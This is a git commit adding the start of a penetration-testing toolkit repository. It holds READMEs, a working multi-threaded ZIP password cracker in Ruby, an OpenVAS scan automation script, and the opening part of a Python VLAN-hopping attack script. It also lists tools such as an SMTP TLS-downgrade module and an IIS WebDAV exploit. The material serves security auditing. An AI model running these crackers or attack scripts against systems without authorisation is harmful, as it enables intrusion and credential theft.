First
This commit is contained in:
commit
c08aa59f9a
|
@ -0,0 +1,19 @@
|
||||||
|
## Penetration Testing Tools, Scripts, CheatSheets
|
||||||
|
|
||||||
|
This is a collection of many tools, scripts, cheatsheets and other loots that I've been developing over years for penetration testing and IT Security audits purposes. Many of them actually had been used during real-world assignments, some of them are a collection gathered from various sources (waiting to be used someday).
|
||||||
|
|
||||||
|
This repository does not contain actual exploits. These I will release under separate repository in some point in future.
|
||||||
|
|
||||||
|
Most of these files actually comes straight from my [Gists](https://gist.github.com/mgeeky) - I've decided to move them into separated repository as managmenet of this number of scripts became tough nut to crack.
|
||||||
|
|
||||||
|
This repository is divided further onto following directories:
|
||||||
|
|
||||||
|
- `file-formats` - Contains various file-format related utilities, fuzzers and so on.
|
||||||
|
- `linux` - Contains linux-based scripts for various purposes.
|
||||||
|
- `networks` - Network devices & services Penetration Testing and auditing scripts
|
||||||
|
- `others` - Others related somehow to penetration tests & Audits
|
||||||
|
- `social-engineering` - Powershell, Visual Basic, js, phishings and other alike candys
|
||||||
|
- `web` - Web-Application auditing, pentesting, fuzzing related.
|
||||||
|
- `windows` - Windows utilities, scripts, exploits.
|
||||||
|
|
||||||
|
Of course these tools do not contain any customer/client related sensitive informations and there are no assignment-specific tools developed as PoCs.
|
|
@ -0,0 +1,4 @@
|
||||||
|
## File-Formats Penetration Testing related scripts, tools and Cheatsheets
|
||||||
|
|
||||||
|
|
||||||
|
- **`zipcrack.rb`** - Simple multi-threaded ZIP cracker. ([gist](https://gist.github.com/mgeeky/f89262744fa37e9ec2351dccdc81b44c))
|
|
@ -0,0 +1,101 @@
|
||||||
|
#
|
||||||
|
# Simple multi-threaded ZIP cracker.
|
||||||
|
#
|
||||||
|
# MGeeky, 2016
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'archive/zip'
|
||||||
|
require 'tmpdir'
|
||||||
|
require 'fileutils'
|
||||||
|
|
||||||
|
$THREADS = 10
|
||||||
|
$CRACKED = false
|
||||||
|
$TOTAL_WORDS = 0
|
||||||
|
$TMPDIR = File.join Dir::tmpdir, "dir#{Time.now.to_i}_#{rand(100)}"
|
||||||
|
|
||||||
|
def thread file, num, words
|
||||||
|
tmp = $TMPDIR + "-" + num.to_s
|
||||||
|
tested = 0
|
||||||
|
words.each do |w|
|
||||||
|
return if $CRACKED
|
||||||
|
|
||||||
|
tested += 1
|
||||||
|
if num == 0 and tested % 100 == 0
|
||||||
|
printf "\t[%02.2f%%] Testing: '%s'...\r", (100 * tested.to_f / $TOTAL_WORDS), w
|
||||||
|
end
|
||||||
|
|
||||||
|
if test(file, tmp, w)
|
||||||
|
puts "\n\t== GOT PASSWORD: '#{w}'\n"
|
||||||
|
$CRACKED = true
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def test file, dest, pass
|
||||||
|
begin
|
||||||
|
Archive::Zip.extract file, dest, :password => pass
|
||||||
|
true
|
||||||
|
rescue Archive::Zip::EntryError
|
||||||
|
false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ARGV.empty? or ARGV.length < 2
|
||||||
|
puts "\n[?] Usage: zipcrack.rb file.zip wordlist\n\n"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
filename = ARGV.shift
|
||||||
|
wordlist = ARGV.shift
|
||||||
|
|
||||||
|
if not File.exists? filename
|
||||||
|
puts "\n[!] Input ZIP file does not exists!\n\n"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
if not File.exists? wordlist
|
||||||
|
puts "\n[!] Input wordlist file does not exists!\n\n"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
words = Array.new($THREADS) { Array.new }
|
||||||
|
|
||||||
|
File.readlines(wordlist).each do |line|
|
||||||
|
words[$TOTAL_WORDS % $THREADS].push line.strip
|
||||||
|
$TOTAL_WORDS += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "\nMy little ZIP cracker ~ mgeeky, 2016\n\n"
|
||||||
|
puts "\tThere is #{$TOTAL_WORDS} words to be tested."
|
||||||
|
puts "\tRunning zip cracker within #{$THREADS} threads."
|
||||||
|
puts "\n"
|
||||||
|
|
||||||
|
threads = Array.new
|
||||||
|
words.each_with_index do |w, num|
|
||||||
|
threads.push Thread.new { thread(filename, num, w)}
|
||||||
|
end
|
||||||
|
|
||||||
|
trap("SIGINT"){ throw :ctrl_c }
|
||||||
|
|
||||||
|
catch :ctrl_c do
|
||||||
|
begin
|
||||||
|
threads.each do |t|
|
||||||
|
t.join
|
||||||
|
end
|
||||||
|
rescue Exception
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if $CRACKED
|
||||||
|
puts "\nSuccess.\n"
|
||||||
|
else
|
||||||
|
puts "\nWithout luck.\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
threads.each_with_index do |t, num|
|
||||||
|
FileUtils.rm_rf($TMPDIR + "-" + num.to_s)
|
||||||
|
end
|
|
@ -0,0 +1,4 @@
|
||||||
|
## Linux-based Penetration Testing tools, scripts and cheatsheets.
|
||||||
|
|
||||||
|
|
||||||
|
- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7))
|
|
@ -0,0 +1,284 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# OpenVAS automation script.
|
||||||
|
# Mariusz B. / mgeeky, '17
|
||||||
|
# v0.2
|
||||||
|
#
|
||||||
|
|
||||||
|
trap ctrl_c INT
|
||||||
|
|
||||||
|
# --- CONFIGURATION ---
|
||||||
|
|
||||||
|
USER=<USERNAME>
|
||||||
|
PASS=<PASSWORD>
|
||||||
|
HOST=127.0.0.1
|
||||||
|
PORT=9390
|
||||||
|
|
||||||
|
# Must be one of the below defined targets
|
||||||
|
SCAN_PROFILE=""
|
||||||
|
#SCAN_PROFILE="Full and fast ultimate"
|
||||||
|
|
||||||
|
FORMAT="PDF"
|
||||||
|
|
||||||
|
# A valid "alive_test" parameter
|
||||||
|
# Defines how it is determined if the targets are alive
|
||||||
|
# Currently, valid values are the following:
|
||||||
|
# Scan Config Default
|
||||||
|
# ICMP, TCP-ACK Service & ARP Ping
|
||||||
|
# TCP-ACK Service & ARP Ping
|
||||||
|
# ICMP & ARP Ping
|
||||||
|
# ICMP & TCP-ACK Service Ping
|
||||||
|
# ARP Ping
|
||||||
|
# TCP-ACK Service Ping
|
||||||
|
# TCP-SYN Service Ping
|
||||||
|
# ICMP Ping
|
||||||
|
# Consider Alive
|
||||||
|
ALIVE_TEST='ICMP, TCP-ACK Service & ARP Ping'
|
||||||
|
|
||||||
|
# --- END OF CONFIGURATION ---
|
||||||
|
|
||||||
|
targets=(
|
||||||
|
"Discovery"
|
||||||
|
"Full and fast"
|
||||||
|
"Full and fast ultimate"
|
||||||
|
"Full and very deep"
|
||||||
|
"Full and very deep ultimate"
|
||||||
|
"Host Discovery"
|
||||||
|
"System Discovery"
|
||||||
|
)
|
||||||
|
|
||||||
|
formats=(
|
||||||
|
"ARF"
|
||||||
|
"CPE"
|
||||||
|
"HTML"
|
||||||
|
"ITG"
|
||||||
|
"NBE"
|
||||||
|
"PDF"
|
||||||
|
"TXT"
|
||||||
|
"XML"
|
||||||
|
)
|
||||||
|
|
||||||
|
able_to_clean=1
|
||||||
|
|
||||||
|
function usage {
|
||||||
|
echo
|
||||||
|
echo -ne "Usage: openvas-automate.sh <host>"
|
||||||
|
echo
|
||||||
|
echo -ne "\n host\t- IP address or domain name of the host target."
|
||||||
|
echo
|
||||||
|
echo
|
||||||
|
}
|
||||||
|
|
||||||
|
function omp_cmd {
|
||||||
|
cmd="omp -u $USER -w \"$PASS\" -h $HOST -p $PORT $@"
|
||||||
|
#>&2 echo "DBG: OMP cmd: \"$cmd\""
|
||||||
|
eval $cmd 2>&1
|
||||||
|
}
|
||||||
|
|
||||||
|
function omp_cmd_xml {
|
||||||
|
omp_cmd "--xml='$@'"
|
||||||
|
}
|
||||||
|
|
||||||
|
function end {
|
||||||
|
echo "[>] Performing cleanup"
|
||||||
|
|
||||||
|
if [ $able_to_clean -eq 1 ]; then
|
||||||
|
omp_cmd -D $task_id
|
||||||
|
omp_cmd -X '<delete_target target_id="'$target_id'"/>'
|
||||||
|
fi
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
function ctrl_c() {
|
||||||
|
echo "[?] CTRL-C trapped."
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo " :: OpenVAS automation script."
|
||||||
|
echo " mgeeky, 0.2"
|
||||||
|
echo
|
||||||
|
|
||||||
|
out=$(omp_cmd -g | grep -i "discovery")
|
||||||
|
if [ -z "$out" ]; then
|
||||||
|
echo "Exiting due to OpenVAS authentication failure."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] OpenVAS authenticated."
|
||||||
|
|
||||||
|
if [ -z "$SCAN_PROFILE" ]; then
|
||||||
|
echo "[>] Please select scan type:"
|
||||||
|
echo -e "\t1. Discovery"
|
||||||
|
echo -e "\t2. Full and fast"
|
||||||
|
echo -e "\t3. Full and fast ultimate"
|
||||||
|
echo -e "\t4. Full and very deep"
|
||||||
|
echo -e "\t5. Full and very deep ultimate"
|
||||||
|
echo -e "\t6. Host Discovery"
|
||||||
|
echo -e "\t7. System Discovery"
|
||||||
|
echo -e "\t9. Exit"
|
||||||
|
echo ""
|
||||||
|
echo "--------------------------------"
|
||||||
|
|
||||||
|
read -p "Please select an option: " m
|
||||||
|
|
||||||
|
if [ $m -eq 9 ]; then exit 0;
|
||||||
|
elif [ $m -eq 1 ]; then SCAN_PROFILE="Discovery"
|
||||||
|
elif [ $m -eq 2 ]; then SCAN_PROFILE="Full and fast"
|
||||||
|
elif [ $m -eq 3 ]; then SCAN_PROFILE="Full and fast ultimate"
|
||||||
|
elif [ $m -eq 4 ]; then SCAN_PROFILE="Full and very deep"
|
||||||
|
elif [ $m -eq 5 ]; then SCAN_PROFILE="Full and very deep ultimate"
|
||||||
|
elif [ $m -eq 6 ]; then SCAN_PROFILE="Host Discovery"
|
||||||
|
elif [ $m -eq 7 ]; then SCAN_PROFILE="System Discovery"
|
||||||
|
else echo "[!] Unknown profile selected" && exit 1
|
||||||
|
fi
|
||||||
|
echo
|
||||||
|
fi
|
||||||
|
|
||||||
|
found=0
|
||||||
|
|
||||||
|
for i in "${targets[@]}"
|
||||||
|
do
|
||||||
|
if [ "$i" == "$SCAN_PROFILE" ]; then
|
||||||
|
found=1
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
scan_profile_id=$(omp_cmd -g | grep "$SCAN_PROFILE" | cut -d' ' -f1)
|
||||||
|
if [ $found -eq 0 ] || [ -z "$scan_profile_id" ]; then
|
||||||
|
echo "[!] You've selected unknown SCAN_PROFILE. Please change it in script's settings."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
found=0
|
||||||
|
|
||||||
|
for i in "${formats[@]}"
|
||||||
|
do
|
||||||
|
if [ "$i" == "$FORMAT" ]; then
|
||||||
|
found=1
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
format_id=$(omp_cmd -F | grep "$FORMAT" | cut -d' ' -f1)
|
||||||
|
|
||||||
|
if [ $found -eq 0 ] || [ -z $format_id ]; then
|
||||||
|
echo "[!] You've selected unknown FORMAT. Please change it in script's settings."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$1" ]; then
|
||||||
|
usage
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TARGET="$1"
|
||||||
|
host "$TARGET" 2>&1 > /dev/null
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "[!] Specified target host seems to be unavailable!"
|
||||||
|
read -p "Are you sure you want to continue [Y/n]? " -n 1 -r
|
||||||
|
echo
|
||||||
|
if [[ $REPLY =~ ^[Yy]$ ]]
|
||||||
|
then
|
||||||
|
echo > /dev/null
|
||||||
|
else
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] Tasked: '$SCAN_PROFILE' scan against '$TARGET' "
|
||||||
|
|
||||||
|
target_id=$(omp_cmd -T | grep "$TARGET" | cut -d' ' -f1)
|
||||||
|
|
||||||
|
out=""
|
||||||
|
if [ -z "$target_id" ]; then
|
||||||
|
|
||||||
|
echo "[>] Creating a target..."
|
||||||
|
out=$(omp -u $USER -w '$PASS' -h $HOST -p $PORT --xml=\
|
||||||
|
"<create_target>\
|
||||||
|
<name>${TARGET}</name><hosts>$TARGET</hosts>\
|
||||||
|
<alive_tests>$ALIVE_TEST</alive_tests>\
|
||||||
|
</create_target>")
|
||||||
|
target_id=$(echo "$out" | pcregrep -o1 'id="([^"]+)"')
|
||||||
|
|
||||||
|
else
|
||||||
|
echo "[>] Reusing target..."
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$target_id" ]; then
|
||||||
|
echo "[!] Something went wrong, couldn't acquire target's ID! Output:"
|
||||||
|
echo $out
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "[+] Target's id: $target_id"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[>] Creating a task..."
|
||||||
|
task_id=$(omp_cmd -C -n "$TARGET" --target=$target_id --config=$scan_profile_id)
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "[!] Could not create a task."
|
||||||
|
end
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] Task created successfully, id: '$task_id'"
|
||||||
|
|
||||||
|
echo "[>] Starting the task..."
|
||||||
|
report_id=$(omp_cmd -S $task_id)
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "[!] Could not start a task."
|
||||||
|
end
|
||||||
|
fi
|
||||||
|
|
||||||
|
able_to_clean=0
|
||||||
|
|
||||||
|
echo "[+] Task started. Report id: $report_id"
|
||||||
|
echo "[.] Awaiting for it to finish. This will take a long while..."
|
||||||
|
echo
|
||||||
|
|
||||||
|
aborted=0
|
||||||
|
while true; do
|
||||||
|
RET=$(omp_cmd -G)
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo '[!] Querying jobs failed.';
|
||||||
|
end
|
||||||
|
fi
|
||||||
|
|
||||||
|
RET=$(echo -n "$RET" | grep -m1 "$task_id" | tr '\n' ' ')
|
||||||
|
out=$(echo "$RET" | tr '\n' ' ')
|
||||||
|
echo -ne "$out\r"
|
||||||
|
if [ `echo "$RET" | grep -m1 -i "fail"` ]; then
|
||||||
|
echo '[!] Failed getting running jobs list'
|
||||||
|
end
|
||||||
|
fi
|
||||||
|
echo "$RET" | grep -m1 -i -E "done|Stopped"
|
||||||
|
if [ $? -ne 1 ]; then
|
||||||
|
aborted=1
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
done
|
||||||
|
|
||||||
|
if [ $aborted -eq 0 ]; then
|
||||||
|
echo "[+] Job done, generating report..."
|
||||||
|
|
||||||
|
FILENAME=${TARGET// /_}
|
||||||
|
FILENAME="openvas_${FILENAME//[^a-zA-Z0-9_\.\-]/}_$(date +%s)"
|
||||||
|
|
||||||
|
out=$(omp_cmd --get-report $report_id --format $format_id > $FILENAME.$FORMAT )
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo '[!] Failed getting report.';
|
||||||
|
echo "[!] Output: $out"
|
||||||
|
#end
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] Scanning done."
|
||||||
|
else
|
||||||
|
echo "[?] Scan monitoring has been aborted. You're on your own now."
|
||||||
|
fi
|
|
@ -0,0 +1,85 @@
|
||||||
|
## Networks Penetration Testing related scripts, tools and Cheatsheets
|
||||||
|
|
||||||
|
|
||||||
|
- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))
|
||||||
|
|
||||||
|
- **`smtpdowngrade.rb`** - Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. ([gist](https://gist.github.com/mgeeky/188f3f319e6f3536476e4b272ec0fb19))
|
||||||
|
|
||||||
|
- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
|
||||||
|
|
||||||
|
- **`VLANHopperDTP.py`** - VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request ([gist](https://gist.github.com/mgeeky/7ff9bb1dcf8aa093d3a157b3c22432a0))
|
||||||
|
|
||||||
|
Sample output:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./VLANHopperDTP.py --help
|
||||||
|
|
||||||
|
:: VLAN Hopping via DTP Trunk negotiation
|
||||||
|
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||||
|
Mariusz B. / mgeeky, '18
|
||||||
|
v0.3
|
||||||
|
|
||||||
|
usage: ./VLANHopperDTP.py [options]
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
-i DEV, --interface DEV
|
||||||
|
Select interface on which to operate.
|
||||||
|
-e CMD, --execute CMD
|
||||||
|
Launch specified command after hopping to new VLAN.
|
||||||
|
One can use one of following placeholders in command:
|
||||||
|
%IFACE (choosen interface), %IP (acquired IP), %NET
|
||||||
|
(net address), %HWADDR (MAC), %GW (gateway), %MASK
|
||||||
|
(full mask), %CIDR (short mask). For instance: -e
|
||||||
|
"arp-scan -I %IFACE %NET%CIDR". May be repeated for
|
||||||
|
more commands. The command will be launched
|
||||||
|
SYNCHRONOUSLY, meaning - one have to append "&" at the
|
||||||
|
end to make the script go along.
|
||||||
|
-E CMD, --exit-execute CMD
|
||||||
|
Launch specified command at the end of this script
|
||||||
|
(during cleanup phase).
|
||||||
|
-m HWADDR, --mac-address HWADDR
|
||||||
|
Changes MAC address of the interface before and after
|
||||||
|
attack.
|
||||||
|
-f, --force Attempt VLAN Hopping even if DTP was not detected
|
||||||
|
(like in Nonegotiate situation).
|
||||||
|
-a, --analyse Analyse mode: do not create subinterfaces, don't ask
|
||||||
|
for DHCP leases.
|
||||||
|
-v, --verbose Display verbose output.
|
||||||
|
-d, --debug Display debug output.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$ sudo ./VLANHopperDTP.py -i enp5s0f1
|
||||||
|
|
||||||
|
:: VLAN Hopping via DTP Trunk negotiation
|
||||||
|
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||||
|
Mariusz B. / mgeeky, '18
|
||||||
|
v0.2
|
||||||
|
|
||||||
|
[+] VLAN Hopping IS possible.
|
||||||
|
[>] After Hopping to other VLANs - leave this program running to maintain connections.
|
||||||
|
[>] Discovering new VLANs...
|
||||||
|
==> VLAN discovered: 10
|
||||||
|
==> VLAN discovered: 20
|
||||||
|
==> VLAN discovered: 30
|
||||||
|
==> VLAN discovered: 99
|
||||||
|
[+] Hopped to VLAN 10.: 172.16.10.10
|
||||||
|
[+] Hopped to VLAN 20.: 172.16.20.10
|
||||||
|
[+] Hopped to VLAN 30.: 172.16.30.11
|
||||||
|
[+] Hopped to VLAN 99.: 172.16.99.10
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915))
|
||||||
|
|
||||||
|
- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c))
|
||||||
|
|
||||||
|
- **`smb-credential-leak.html`** - SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. ([gist](https://gist.github.com/mgeeky/44ce8a8887c169aa6a0093d915ea103d))
|
||||||
|
|
||||||
|
- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
|
||||||
|
|
||||||
|
- **`smtpvrfy.py`** - SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. ([gist](https://gist.github.com/mgeeky/1df141b18082b6f424df98fa6a630435))
|
||||||
|
|
||||||
|
- **`pingsweep.py`** - Quick Python Scapy-based ping-sweeper. ([gist](https://gist.github.com/mgeeky/a360e4a124ddb9ef6a9ac1557b47d14c))
|
||||||
|
|
||||||
|
- **`sshbrute.py`** - ripped out from Violent Python - by TJ O'Connor. ([gist](https://gist.github.com/mgeeky/70606be7249a61ac26b34b1ef3b07553))
|
|
@ -0,0 +1,644 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# This script is performing DTP Trunk mode detection and VLAN Hopping
|
||||||
|
# attack automatically, running sniffer afterwards to collect any other
|
||||||
|
# VLAN available. To be launched only in Unix/Linux environment as the
|
||||||
|
# script utilizes following applications:
|
||||||
|
# - 8021q.ko
|
||||||
|
# - vconfig
|
||||||
|
# - ifconfig / ip / route
|
||||||
|
# - dhclient
|
||||||
|
#
|
||||||
|
# NOTICE:
|
||||||
|
# This program uses code written by 'floodlight', which comes from here:
|
||||||
|
# https://github.com/floodlight/oftest/blob/master/src/python/oftest/afpacket.py
|
||||||
|
#
|
||||||
|
# TODO:
|
||||||
|
# - Add logic that falls back to static IP address setup when DHCP fails
|
||||||
|
# - Possibly implement custom ARP/ICMP/DHCP spoofers
|
||||||
|
#
|
||||||
|
# Mariusz B. / mgeeky, '18
|
||||||
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import argparse
|
||||||
|
import tempfile
|
||||||
|
import commands
|
||||||
|
import threading
|
||||||
|
import subprocess
|
||||||
|
import fcntl, socket, struct
|
||||||
|
|
||||||
|
from ctypes import *
|
||||||
|
|
||||||
|
try:
|
||||||
|
from scapy.all import *
|
||||||
|
except ImportError:
|
||||||
|
print('[!] Scapy required: pip install scapy')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
VERSION = '0.3'
|
||||||
|
|
||||||
|
config = {
|
||||||
|
'verbose' : False,
|
||||||
|
'debug' : False,
|
||||||
|
'force' : False,
|
||||||
|
'count' : 10,
|
||||||
|
'timeout' : 90,
|
||||||
|
'analyse' : False,
|
||||||
|
'interface' : '',
|
||||||
|
'macaddr' : '',
|
||||||
|
'inet' : '',
|
||||||
|
'origmacaddr' : '',
|
||||||
|
'commands' : [],
|
||||||
|
'exitcommands' : [],
|
||||||
|
}
|
||||||
|
|
||||||
|
stopThreads = False
|
||||||
|
attackEngaged = False
|
||||||
|
dot1qSnifferStarted = False
|
||||||
|
|
||||||
|
vlansHijacked = set()
|
||||||
|
subinterfaces = set()
|
||||||
|
|
||||||
|
tempfiles = []
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# ===============================================
|
||||||
|
# Floodlight's afpacket definitions
|
||||||
|
#
|
||||||
|
|
||||||
|
ETH_P_8021Q = 0x8100
|
||||||
|
SOL_PACKET = 263
|
||||||
|
PACKET_AUXDATA = 8
|
||||||
|
TP_STATUS_VLAN_VALID = 1 << 4
|
||||||
|
|
||||||
|
class struct_iovec(Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("iov_base", c_void_p),
|
||||||
|
("iov_len", c_size_t),
|
||||||
|
]
|
||||||
|
|
||||||
|
class struct_msghdr(Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("msg_name", c_void_p),
|
||||||
|
("msg_namelen", c_uint32),
|
||||||
|
("msg_iov", POINTER(struct_iovec)),
|
||||||
|
("msg_iovlen", c_size_t),
|
||||||
|
("msg_control", c_void_p),
|
||||||
|
("msg_controllen", c_size_t),
|
||||||
|
("msg_flags", c_int),
|
||||||
|
]
|
||||||
|
|
||||||
|
class struct_cmsghdr(Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("cmsg_len", c_size_t),
|
||||||
|
("cmsg_level", c_int),
|
||||||
|
("cmsg_type", c_int),
|
||||||
|
]
|
||||||
|
|
||||||
|
class struct_tpacket_auxdata(Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("tp_status", c_uint),
|
||||||
|
("tp_len", c_uint),
|
||||||
|
("tp_snaplen", c_uint),
|
||||||
|
("tp_mac", c_ushort),
|
||||||
|
("tp_net", c_ushort),
|
||||||
|
("tp_vlan_tci", c_ushort),
|
||||||
|
("tp_padding", c_ushort),
|
||||||
|
]
|
||||||
|
|
||||||
|
libc = CDLL("libc.so.6")
|
||||||
|
recvmsg = libc.recvmsg
|
||||||
|
recvmsg.argtypes = [c_int, POINTER(struct_msghdr), c_int]
|
||||||
|
recvmsg.retype = c_int
|
||||||
|
|
||||||
|
def enable_auxdata(sk):
|
||||||
|
"""
|
||||||
|
Ask the kernel to return the VLAN tag in a control message
|
||||||
|
|
||||||
|
Must be called on the socket before afpacket.recv.
|
||||||
|
"""
|
||||||
|
sk.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
|
||||||
|
|
||||||
|
def recv(sk, bufsize):
|
||||||
|
"""
|
||||||
|
Receive a packet from an AF_PACKET socket
|
||||||
|
@sk Socket
|
||||||
|
@bufsize Maximum packet size
|
||||||
|
"""
|
||||||
|
buf = create_string_buffer(bufsize)
|
||||||
|
|
||||||
|
ctrl_bufsize = sizeof(struct_cmsghdr) + sizeof(struct_tpacket_auxdata) + sizeof(c_size_t)
|
||||||
|
ctrl_buf = create_string_buffer(ctrl_bufsize)
|
||||||
|
|
||||||
|
iov = struct_iovec()
|
||||||
|
iov.iov_base = cast(buf, c_void_p)
|
||||||
|
iov.iov_len = bufsize
|
||||||
|
|
||||||
|
msghdr = struct_msghdr()
|
||||||
|
msghdr.msg_name = None
|
||||||
|
msghdr.msg_namelen = 0
|
||||||
|
msghdr.msg_iov = pointer(iov)
|
||||||
|
msghdr.msg_iovlen = 1
|
||||||
|
msghdr.msg_control = cast(ctrl_buf, c_void_p)
|
||||||
|
msghdr.msg_controllen = ctrl_bufsize
|
||||||
|
msghdr.msg_flags = 0
|
||||||
|
|
||||||
|
rv = recvmsg(sk.fileno(), byref(msghdr), 0)
|
||||||
|
if rv < 0:
|
||||||
|
raise RuntimeError("recvmsg failed: rv=%d", rv)
|
||||||
|
|
||||||
|
# The kernel only delivers control messages we ask for. We
|
||||||
|
# only enabled PACKET_AUXDATA, so we can assume it's the
|
||||||
|
# only control message.
|
||||||
|
assert msghdr.msg_controllen >= sizeof(struct_cmsghdr)
|
||||||
|
|
||||||
|
cmsghdr = struct_cmsghdr.from_buffer(ctrl_buf) # pylint: disable=E1101
|
||||||
|
assert cmsghdr.cmsg_level == SOL_PACKET
|
||||||
|
assert cmsghdr.cmsg_type == PACKET_AUXDATA
|
||||||
|
|
||||||
|
auxdata = struct_tpacket_auxdata.from_buffer(ctrl_buf, sizeof(struct_cmsghdr)) # pylint: disable=E1101
|
||||||
|
|
||||||
|
if auxdata.tp_vlan_tci != 0 or auxdata.tp_status & TP_STATUS_VLAN_VALID:
|
||||||
|
# Insert VLAN tag
|
||||||
|
tag = struct.pack("!HH", ETH_P_8021Q, auxdata.tp_vlan_tci)
|
||||||
|
return buf.raw[:12] + tag + buf.raw[12:rv]
|
||||||
|
else:
|
||||||
|
return buf.raw[:rv]
|
||||||
|
|
||||||
|
#
|
||||||
|
# ===============================================
|
||||||
|
#
|
||||||
|
|
||||||
|
class Logger:
|
||||||
|
@staticmethod
|
||||||
|
def _out(x):
|
||||||
|
if config['debug'] or config['verbose']:
|
||||||
|
sys.stdout.write(x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def dbg(x):
|
||||||
|
if config['debug']:
|
||||||
|
sys.stdout.write('[dbg] ' + x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def out(x):
|
||||||
|
Logger._out('[.] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def info(x):
|
||||||
|
Logger._out('[?] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def err(x):
|
||||||
|
sys.stdout.write('[!] ' + x + '\n')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fail(x):
|
||||||
|
Logger._out('[-] ' + x)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ok(x):
|
||||||
|
Logger._out('[+] ' + x)
|
||||||
|
|
||||||
|
def inspectPacket(dtp):
|
||||||
|
tlvs = dtp['DTP'].tlvlist
|
||||||
|
stat = -1
|
||||||
|
for tlv in tlvs:
|
||||||
|
if tlv.type == 2:
|
||||||
|
stat = ord(tlv.status)
|
||||||
|
break
|
||||||
|
|
||||||
|
ret = True
|
||||||
|
if stat == -1:
|
||||||
|
Logger.fail('Something went wrong: Got invalid DTP packet.')
|
||||||
|
ret = False
|
||||||
|
|
||||||
|
elif stat == 2:
|
||||||
|
Logger.fail('DTP disabled, Switchport in Access mode configuration')
|
||||||
|
